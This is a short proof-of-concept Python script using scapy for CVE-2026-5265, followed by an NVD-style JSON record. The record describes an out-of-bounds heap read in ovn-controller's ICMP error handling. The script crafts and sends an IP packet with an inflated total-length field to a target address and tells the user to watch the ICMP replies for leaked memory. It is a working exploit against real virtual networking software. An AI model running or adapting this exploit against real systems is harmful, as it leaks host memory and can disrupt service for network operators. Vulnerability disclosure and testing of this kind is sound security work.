CVE-2026-5265

# PoC for CVE-2026-5265 # This script demonstrates crafting a packet with a declared length # larger than its actual size to trigger the OOB read in ovn-controller. from scapy.all import * # Target IP (Must trigger an ICMP error, e.g., blocked by ACL) target_ip = "192.168.1.100" src_ip = "10.0.0.1" # Construct a small payload payload = b"A" * 20 # Create IP packet # The 'len' parameter in IP() sets the Total Length field in the IP header. # We set it to 1500 (standard MTU) but the actual packet size is much smaller. pkt = IP(src=src_ip, dst=target_ip, len=1500) / ICMP() / payload # Send the packet # Note: This requires the target environment to be configured to reject the packet # (e.g., via a firewall or ACL) to generate the ICMP error response. send(pkt) print("[*] Malformed packet sent. Monitor ICMP replies for memory content.")

{"cve": {"id": "CVE-2026-5265", "sourceIdentifier": "[email protected]", "published": "2026-04-24T13:16:21.770", "lastModified": "2026-04-29T19:16:24.470", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "When generating an ICMP Destination Unreachable or Packet Too Big response, the handler copies a portion of the original packet into the ICMP error body using the IP header's self-declared total length (ip_tot_len for IPv4, ip6_plen for IPv6) without validating it against the actual packet buffer size. A VM can send a short packet with an inflated IP length field that triggers an ICMP error (e.g., by hitting a reject ACL), causing ovn-controller to read heap memory beyond the valid packet data and include it in the ICMP response sent back to the VM."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-130"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:11694", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11695", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11696", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11698", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11700", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11701", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:11702", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-5265", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2453458", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/20/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/20/4", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}